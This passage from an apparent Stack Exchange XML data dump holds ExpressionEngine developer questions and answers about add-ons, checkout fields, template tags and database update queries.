  <row Id="9460" PostTypeId="1" AcceptedAnswerId="9466" CreationDate="2013-04-18T07:23:24.773" Score="1" ViewCount="45" Body="&lt;p&gt;Any ideas on how I could collect order delivery date/time in Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best wishes&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-04-18T09:45:57.233" Title="How can I collect order delivery date/time in Store?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9461" PostTypeId="2" ParentId="9456" CreationDate="2013-04-18T07:23:46.473" Score="1" Body="&lt;p&gt;Try to use {entry_site_id}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#entry-site-id&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#entry-site-id&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this Query module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT site_name FROM exp_sites WHERE site_id='{entry_site_id}'&quot;}&#xA;    {site_name}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This add-on can help too: Blog Info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/blog-info&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/blog-info&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="106" LastEditorUserId="106" LastEditDate="2013-04-18T07:32:32.557" LastActivityDate="2013-04-18T07:32:32.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9462" PostTypeId="2" ParentId="9426" CreationDate="2013-04-18T07:52:09.437" Score="2" Body="&lt;p&gt;Ah, I get how it works now.&#xA;This is the code that got it to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents field=&quot;artist-relationship-playa&quot; orderby=&quot;artworks-order&quot; sort=&quot;asc&quot; var_prefix=&quot;artworks&quot;}&#xA;      {if &quot;{artworks:show-on-website}&quot; == &quot;y&quot;}&#xA;         &amp;lt;a href=&quot;{site_url}artists/{url_title}/{artworks:url_title}&quot;&amp;gt;...&amp;lt;/a&amp;gt;&#xA;      {/if}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just so that others want to know how it works. When using var_prefix, all variables inside that playa tag pair are rendered as if they where not. Only if you prefix your variable with your var_prefix value, will it be rendered as it would previously... get it :)&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2013-04-18T07:52:09.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9463" PostTypeId="1" AcceptedAnswerId="9465" CreationDate="2013-04-18T07:55:45.553" Score="2" ViewCount="692" Body="&lt;p&gt;what are the main differences are between the Gmaps and Google Maps for ExpressionEngine modules? Anyone know? My preference is now going towards Gmaps because of the price, but I don't have a good idea of what the difference really are currently, in terms of futures etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In relation to the abilities of those modules:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is have entries with a location marker field type. Those entries will then show that marker (and that marker only) in Google Maps on the front end. &#xA;I'm sure that's possible, but what I'm not sure about are the other things I want to do, which are...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) When I add a new entry with a location marker I want that location marker to be part of a &quot;master map&quot; also where ALL the different location markers from all the different entries are shown. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) There will be different kind of location markers, for example, restaurants, hotels etc. Can I make it so that those different categories automatically use their own custom makrker type when I add them in an entry? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) When looking at the master map, can I also filter the markers shown by showing only hotels for example (excluding the restaurants)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone can clear those things up for me.&lt;/p&gt;&#xA;" OwnerUserId="569" LastActivityDate="2013-04-19T13:38:57.263" Title="Questions about the Google Maps modules and more" Tags="|google-maps-for-ee|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9464" PostTypeId="2" ParentId="9463" CreationDate="2013-04-18T08:51:05.310" Score="0" Body="&lt;p&gt;I believe both addons will do everything you specify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I went for Google Maps for EE, based on the fact that it allows you to plot markers via a front end safecracker form. Don't think Gmaps let's you do that.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-04-18T08:51:05.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9465" PostTypeId="2" ParentId="9463" CreationDate="2013-04-18T09:19:04.650" Score="4" Body="&lt;p&gt;I am Justin from Objective HTML. Google Maps for EE is my add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gmaps can't do entry based proximity searches. Gmaps doesn't have a fieldtype, and I don't think geocode entries via the CP or Safecracker. Where as Google Maps for EE has a fieldtype, a configurable data import utility, loads of caching, all the front-end template tags you need, and very robust API which I have been used to release new add-ons like Geocoder (&lt;a href=&quot;https://objectivehtml.com/geocoder&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/geocoder&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are the biggest differences that I can think of off hand. Gmaps can do a few things out of the box Google Maps for EE can't do, but those are all JS related (which could be ported to Google Maps for EE). I focus on delivering robust features that integrate within EE, Safecracker, and Matrix, and any other module you need.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Yes.&lt;/li&gt;&#xA;&lt;li&gt;Yes. It's best to have 1 location per entry and have all the entry data appear on the same map on the front-end.&lt;/li&gt;&#xA;&lt;li&gt;Yes. You just need to use jQuery and follow my example. Don't take my example 100% literally though, which some people do and run into problems. My example is a working implementation of what you &lt;em&gt;could&lt;/em&gt; do. 9/10 people want slightly different functionality and the code is different for each implementation. &lt;a href=&quot;https://objectivehtml.com/google-maps/examples/jquery&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/google-maps/examples/jquery&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Email support@objectivehtml.com if you have any questions.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-04-18T09:19:04.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9466" PostTypeId="2" ParentId="9460" CreationDate="2013-04-18T09:45:57.233" Score="0" Body="&lt;p&gt;You just need to create a custom order field and then output that in the checkout process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store &gt; Settings &gt; Order Fields. Pick an available field and give it a name ('Delivery Date' for instance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then output this as normal in the checkout. You can use it in combination with &lt;a href=&quot;http://jqueryui.com/datepicker/&quot; rel=&quot;nofollow&quot;&gt;jQuery UI Datepicker&lt;/a&gt; to provide a date selection widget and set the correct formatting automatically. Or if you need the time included in the same field as well then I look to use &lt;a href=&quot;http://trentrichardson.com/examples/timepicker/&quot; rel=&quot;nofollow&quot;&gt;jQuery DateTimePicker&lt;/a&gt;. You have lots of control here when it comes to date and time selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That combination works very well and can be pulled through into the Store order confirmation emails too.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-18T09:45:57.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9467" PostTypeId="2" ParentId="9442" CreationDate="2013-04-18T09:54:50.367" Score="2" Body="&lt;p&gt;Are you sure you're using the correct Store tags when collecting the &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html#billing_details&quot; rel=&quot;nofollow&quot;&gt;Billing details&lt;/a&gt; on your site? You need to be using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:billing_name}&#xA;{field:billing_address1}&#xA;{field:billing_address2}&#xA;{field:billing_address3}&#xA;{field:billing_country}&#xA;{field:billing_postcode}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you using these fields in your checkout?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, double-check that you have entered in all your Paypal Express Checkout details correctly in the Payment Gateway part of Store:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PayPal Express Checkout requires an API Username, Password, and&#xA;  Signature. These are different from your PayPal account details. You&#xA;  can obtain your API details by logging in to your PayPal account, and&#xA;  clicking Profile &gt; My Selling Tools &gt; API Access &gt; Request/View API&#xA;  Credentials &gt; Request API Signature.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does this all check out?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-18T09:54:50.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9468" PostTypeId="2" ParentId="9447" CreationDate="2013-04-18T10:15:27.890" Score="0" Body="&lt;p&gt;Are you sure you have mapped this field to the correct field in your orders channel?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cartthrob &amp;gt; Orders &amp;gt; Order data fields &amp;gt; Shipping country code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, how are you capturing the country code in your template files? Can you provide a sample of your code? Are you using a text input field like this(?):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;country_code&quot; value=&quot;{customer_country_code}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-18T10:15:27.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9469" PostTypeId="2" ParentId="9430" CreationDate="2013-04-18T10:23:58.880" Score="1" Body="&lt;p&gt;If you store the actual value of the import as either a 0 or a 1 then can you not place a conditional in your front-end templates to check for either of those values(?):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; {if field_name == &quot;1&quot;}checked=&quot;checked&quot;{/if} /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-18T10:23:58.880" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9470" PostTypeId="1" CreationDate="2013-04-18T11:26:35.837" Score="0" ViewCount="87" Body="&lt;p&gt;I'm having a really odd issue with Assets. The problem is that we don't seem to be able to rename files - right clicking gives only the delete option. We're sure this worked before, but a) we can't prove it and b) if so, I don't know before 'what'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have discovered that if I upload a temporary image into Assets, the right click &gt; rename option is available again (on the image I want to rename originally, as well as on the newly uploaded image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I then delete the temporary image, we're back to square one - no option to rename images, only delete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have an idea what this might be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Andy.&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2013-04-18T16:18:24.503" Title="Renaming files via Assets" Tags="|pixelandtonic|assets|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9471" PostTypeId="2" ParentId="9417" CreationDate="2013-04-18T12:28:10.277" Score="0" Body="&lt;p&gt;Try these two things and see what you get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Put {embed:page_script} somewhere else in the template and see if you have the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Create a new parameter in the embed= tag and see if get's passed through.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-04-18T12:28:10.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9472" PostTypeId="1" AcceptedAnswerId="9520" CreationDate="2013-04-18T12:50:14.130" Score="1" ViewCount="76" Body="&lt;p&gt;I'm working on a fieldtype with a lot of javascript and I use the following to get EE constants in the js:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;javascript-&amp;gt;set_global(array('THIRD_PARTY_THEME_URL' =&amp;gt; URL_THIRD_THEMES));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works well in the Control Panel, but not in Safecracker, which seems to reset all the EE js object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I can pass those kind of constants?&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2013-04-19T16:43:15.273" Title="Safecracker: get constants in javascript" Tags="|safecracker|add-on-development|javascript|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9473" PostTypeId="2" ParentId="9411" CreationDate="2013-04-18T13:42:59.830" Score="1" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;business-listing&quot; category=&quot;{segment_1_category_id}&quot;}&#xA;  {exp:playa:parents channel=&quot;daily-deals&quot; limit=&quot;6&quot;}&#xA;    {title} ({entry_id})&amp;lt;br&amp;gt;&#xA;  {/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this give you the right set of entries?&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-04-19T21:35:47.547" LastActivityDate="2013-04-19T21:35:47.547" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="9474" PostTypeId="1" AcceptedAnswerId="10868" CreationDate="2013-04-18T14:12:33.590" Score="0" ViewCount="66" Body="&lt;p&gt;I've used oci8 databases in CodeIgniter applications in the past, but before I have never connected to a database in EE plugins I have written in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine I could use the database class to connect and query the oracle (oci8) database to return the data to the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have always set up the database settings in the db config file of my CodeIgniter instance. I am unsure of what to do when trying to set the db connection within the plugin code. I need a push start. Any help is appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-05-30T16:26:33.523" Title="need to create v1.7.x plugin for pulling data from an oci8 database into template" Tags="|add-on-development|database|plugin|ee1|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9476" PostTypeId="2" ParentId="9409" CreationDate="2013-04-18T14:42:22.080" Score="2" Body="&lt;p&gt;Due to the order in which EE determines and sets the &lt;code&gt;site_id&lt;/code&gt; config item, I would recommend that any conditions that must be on the &lt;code&gt;site_id&lt;/code&gt; value be avoided and you simply have those values saved to EE's database. In this case that would mean changing the Webmaster Email value in the Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, most environment conditions are in place to override what's in production. Production is &quot;king&quot; in most scenarios so having the &lt;code&gt;webmaster_email&lt;/code&gt; value in the database without a config override is perfectly acceptable. Then in your staging, dev or local environments you can override the value with something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of a case where a &lt;code&gt;webmaster_email&lt;/code&gt; override would be different by &lt;code&gt;site_id&lt;/code&gt;. Is it possible you could take this approach?&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-04-18T14:42:22.080" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9477" PostTypeId="1" CreationDate="2013-04-18T15:02:48.237" Score="1" ViewCount="64" Body="&lt;p&gt;One of the &quot;filters&quot; so to speak on my gmap search is a playa field. Is there a way to filter my results by that relationship? I tried running the &lt;code&gt;{exp:playa:parents}&lt;/code&gt; loop inside the &lt;code&gt;{results}&lt;/code&gt; but naturally, it is a double loop. If on the search form, I only want parents of entry_id 1, how would I go about that? The data is in the post var, but I need to get the playa parents loop combined with the results loop - else I'll tear in to PHP.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-05-19T15:25:43.973" Title="Is there a way to filter Playa relationship in {exp:gmap:results}?" Tags="|add-on|playa|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9479" PostTypeId="2" ParentId="9470" CreationDate="2013-04-18T16:18:24.503" Score="2" Body="&lt;p&gt;Assets 2.0 to 2.0.5 had this intermittent bug. Updating to 2.1 should solve this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Thanks to stuartmcd69 and Andris Sevcenko for this answer)&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2013-04-18T16:18:24.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9480" PostTypeId="1" AcceptedAnswerId="9481" CreationDate="2013-04-18T16:23:40.330" Score="2" ViewCount="1640" Body="&lt;p&gt;I've got two queries that I'm running separately in a template, one after the other, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $sql = &quot;UPDATE exp_channel_titles SET status = 'Registered' WHERE channel_id = '12' AND entry_id = {entry_id} AND status != 'Hidden';&quot;;&#xA;  $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query($sql);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;  $sql = &quot;UPDATE exp_channel_data SET field_id_119 = 'Yes' WHERE channel_id = '12' AND entry_id = {entry_id} AND field_id_119 != 'Yes';&quot;;&#xA;  $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query($sql);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me if and how to write these more efficiently within a single PHP tag/database call please? When I tried running them one after another within a single PHP tag, they failed to work. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-04-18T18:03:16.003" Title="Writing update queries more efficiently in EE" Tags="|database|query|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9481" PostTypeId="2" ParentId="9480" CreationDate="2013-04-18T16:31:27.293" Score="3" Body="&lt;p&gt;Right, you are performing two queries so you need two calls to the db (if you want to use CI). This is the only other way I could think to do reasonably do it, but it's actually more code (but not handwritten SQL).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;where(array(&#xA;    'channel_id' =&amp;gt; 12,&#xA;    'entry_id'   =&amp;gt; $entry_id,&#xA;    'status !='  =&amp;gt; 'Hidden'&#xA;));&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;update('channel_titles', array('status' =&amp;gt; 'Registered'));&#xA;&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;where(array(&#xA;    'channel_id'      =&amp;gt; 12,&#xA;    'entry_id'        =&amp;gt; $entry_id,&#xA;    'field_id_119 !=' =&amp;gt; &quot;Yes&quot;&#xA;));&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;update('channel_data', array('field_id_119' =&amp;gt; 'Yes'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2013-04-18T18:03:16.003" LastActivityDate="2013-04-18T18:03:16.003" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9482" PostTypeId="1" AcceptedAnswerId="9484" CreationDate="2013-04-18T16:49:52.607" Score="2" ViewCount="367" Body="&lt;p&gt;Working with Aptana Studio 3 (Windows &amp;amp; Mac). Does anyone know of a code hint bundle for EE? I know Coda has one and I like using it, but I am trying to get something that will work well for both environments, Mac/PC, for team use. Eclipse/Aptana Studio are pretty impressive, but would be great to have that for those not as familiar with commands. Would also make coding templates and add-ons quicker.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-04-19T21:29:00.463" Title="Code hints/Autocomplete - Aptana Studio/Eclipse" Tags="|ee2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9483" PostTypeId="2" ParentId="9480" CreationDate="2013-04-18T17:04:46.803" Score="3" Body="&lt;p&gt;You can use one query instead of two using the sql JOIN:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;UPDATE  exp_channel_titles ct &#xA;LEFT JOIN exp_channel_data cd &#xA;ON cd.entry_id = ct.entry_id &#xA;SET ct.status = 'Registered', cd.field_id_119 = 'Yes'&#xA;WHERE ct.channel_id=12 AND cd.field_id_119 != 'Yes' AND ct.entry_id={entry_id} AND ct.status != 'Hidden'&quot;;&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query($sql);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-18T17:04:46.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9484" PostTypeId="2" ParentId="9482" CreationDate="2013-04-18T17:06:30.713" Score="1" Body="&lt;p&gt;Apparently (don't know for sure as I'm not an Aptana user) there is a command to convert Textmate bundle for use with Apatana. &lt;a href=&quot;https://aptanastudio.tenderapp.com/discussions/questions/687-textmate-bundles#comment_3627297&quot; rel=&quot;nofollow&quot;&gt;Commands &gt; Bundle Development &gt; Convert Textmate Bundle&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: It seems (based on the original poster's comment below) that this menu item is only available on the Mac version. If that option is available to you there are some good &lt;a href=&quot;http://eeinsider.com/blog/expressionengine-2-textmate-bundles/&quot; rel=&quot;nofollow&quot;&gt;EE Textmate bundles&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't answer your question but... you could switch to Sublime Text 2, which is cross-platform, uses Textmate bundles, and &lt;a href=&quot;https://github.com/mrw/ExpressionEngine2-Sublime-Text-Bundle&quot; rel=&quot;nofollow&quot;&gt;has a good bundle here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-04-19T21:29:00.463" LastActivityDate="2013-04-19T21:29:00.463" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9485" PostTypeId="1" CreationDate="2013-04-18T17:19:19.940" Score="1" ViewCount="270" Body="&lt;p&gt;I've got a custom fieldtype I need to upgrade for EE 2.5.5 - It uses the Tools model, which was deprecated in EE 2.2. Here's the code that's coughing up errors in the developer log:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$upload_prefs = $this-&gt;EE-&gt;tools_model-&gt;get_upload_preferences($this-&gt;EE-&gt;session-&gt;userdata('group_id'));&#xA;          foreach ($upload_prefs-&gt;result() as $row) $upload_dirs[$row-&gt;id] = $row-&gt;name;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And here's the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The system has detected an add-on that is using outdated code that may stop working or cause issues with the system. What does this mean?&#xA;  Deprecated function get_upload_preferences() called in C:\Program Files\EasyPHP-12.1\www\EE\system\expressionengine\third_party\custom_fieldtype\ft.custom_fieldtype.php on line 272.&#xA;  Deprecated since 2.2. Use File_upload_preferences_model::get_file_upload_preferences() instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried replacing tools_model-&gt;get_upload_preferences with file_upload_preferences_model-&gt;get_file_upload_preferences, but that gives us this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function result() on a non-object in C:\Program Files\EasyPHP-12.1\www\EE\system\expressionengine\third_party\custom_fieldtype\ft.custom_fieldtype.php on line 273&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="1273" LastActivityDate="2013-04-18T17:33:27.923" Title="get_upload_preferences() is deprecated - any idea how to fix this?" Tags="|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9486" PostTypeId="1" CreationDate="2013-04-18T17:32:16.837" Score="-2" ViewCount="169" Body="&lt;p&gt;I was recommended to post my question here as it might get better answers from current developers of EE. My original post is over on EllisLab:&#xA;&lt;a href=&quot;http://ellislab.com/forums/viewthread/234789/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/234789/&lt;/a&gt;&#xA;You can post your reply here and I will be back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, I came back to EE after a long hiatus. EE looks to offer more but yet, something doesn't seem right. With a HUGE project ahead of me, should I not bother to upgrade 1.6 and go with something new like PyroCMS (based on CI by moving to Lavarel) or ProcessWire (or ????).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically if you had a large project that would take month and months to complete and be ever evolving, is EE a good bet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think EE will disappear overnight but I have seen CMS systems slowly fade away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&#xA;Carlos&lt;/p&gt;&#xA;" OwnerUserId="1349" LastActivityDate="2013-04-18T22:43:47.750" Title="Upgrade 1.6x or ditch Expression Engine" Tags="|upgrade|codeigniter|" AnswerCount="3" CommentCount="1" ClosedDate="2013-04-19T05:40:17.243" ContentLicense="CC BY-SA 3.0" />
  <row Id="9487" PostTypeId="2" ParentId="9485" CreationDate="2013-04-18T17:33:27.923" Score="1" Body="&lt;p&gt;Again I am trying to resolve your problem :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should update your code like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('file_upload_preferences_model');&#xA;$upload_prefs = $this-&amp;gt;EE-&amp;gt;file_upload_preferences_model-&amp;gt;get_file_upload_preferences($this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('group_id'));&#xA;&#xA;/***&#xA;$upload_prefs itself an array having all the upload preferences.&#xA;***/&#xA;&#xA;foreach ($upload_prefs as $row)&#xA;{&#xA;$upload_dirs[$row['id']] = $row['name'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help. Plz post your further comments if it didn't work.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-18T17:33:27.923" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9488" PostTypeId="2" ParentId="9463" CreationDate="2013-04-18T17:39:35.170" Score="3" Body="&lt;p&gt;The main difference between both modules is that Gmaps is only a Module and Google Maps for EE is a module and a fieldtype.&#xA;Gmaps cannot geocode addresses in the CP, like Google Maps for EE does. Both modules gives you the ability to use front-end tags to show your maps with EE tags and use a solid cache technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gmaps target on easy to use Maps, with a nice set of tags (mostly used one tag with params). With those tags you can create 'almost' all kind of maps. Beside that it comes by default with  a Geocoder API (&lt;a href=&quot;http://reinos.nl/add-ons/gmaps/docs#Geocoder_API&quot; rel=&quot;nofollow&quot;&gt;http://reinos.nl/add-ons/gmaps/docs#Geocoder_API&lt;/a&gt;) and a JS API (&lt;a href=&quot;http://reinos.nl/add-ons/gmaps/docs#Javascript_events&quot; rel=&quot;nofollow&quot;&gt;http://reinos.nl/add-ons/gmaps/docs#Javascript_events&lt;/a&gt;) and use some nice geocode technique that will geocode data from multiple services like; Google Maps, Bing Maps, Yahoo, Cloudmade, Openstreetmap, Mapquest, Yandex and Geocoder_ca. &#xA;All the address will be cached, so you don`t have to worry about quota's and limits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the 50+ different examples in action (&lt;a href=&quot;http://reinos.nl/add-ons/gmaps/examples/&quot; rel=&quot;nofollow&quot;&gt;http://reinos.nl/add-ons/gmaps/examples/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back to your questions;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Yes, but you must define an address or latlng by the entry manually. You cannot select the address in the CP from the map because Gmaps has no fieldtype. (&lt;a href=&quot;http://reinos.nl/add-ons/gmaps/examples/339&quot; rel=&quot;nofollow&quot;&gt;http://reinos.nl/add-ons/gmaps/examples/339&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Yes (Different Markers &lt;a href=&quot;http://reinos.nl/add-ons/gmaps/examples/175&quot; rel=&quot;nofollow&quot;&gt;http://reinos.nl/add-ons/gmaps/examples/175&lt;/a&gt; and here Complex Markers &lt;a href=&quot;http://reinos.nl/add-ons/gmaps/examples/353&quot; rel=&quot;nofollow&quot;&gt;http://reinos.nl/add-ons/gmaps/examples/353&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Yes, (&lt;a href=&quot;http://reinos.nl/add-ons/gmaps/examples/357&quot; rel=&quot;nofollow&quot;&gt;http://reinos.nl/add-ons/gmaps/examples/357&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this will clear the sky.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6" LastEditDate="2013-04-19T13:38:57.263" LastActivityDate="2013-04-19T13:38:57.263" CommentCount="1" ContentLicense="CC BY-SA 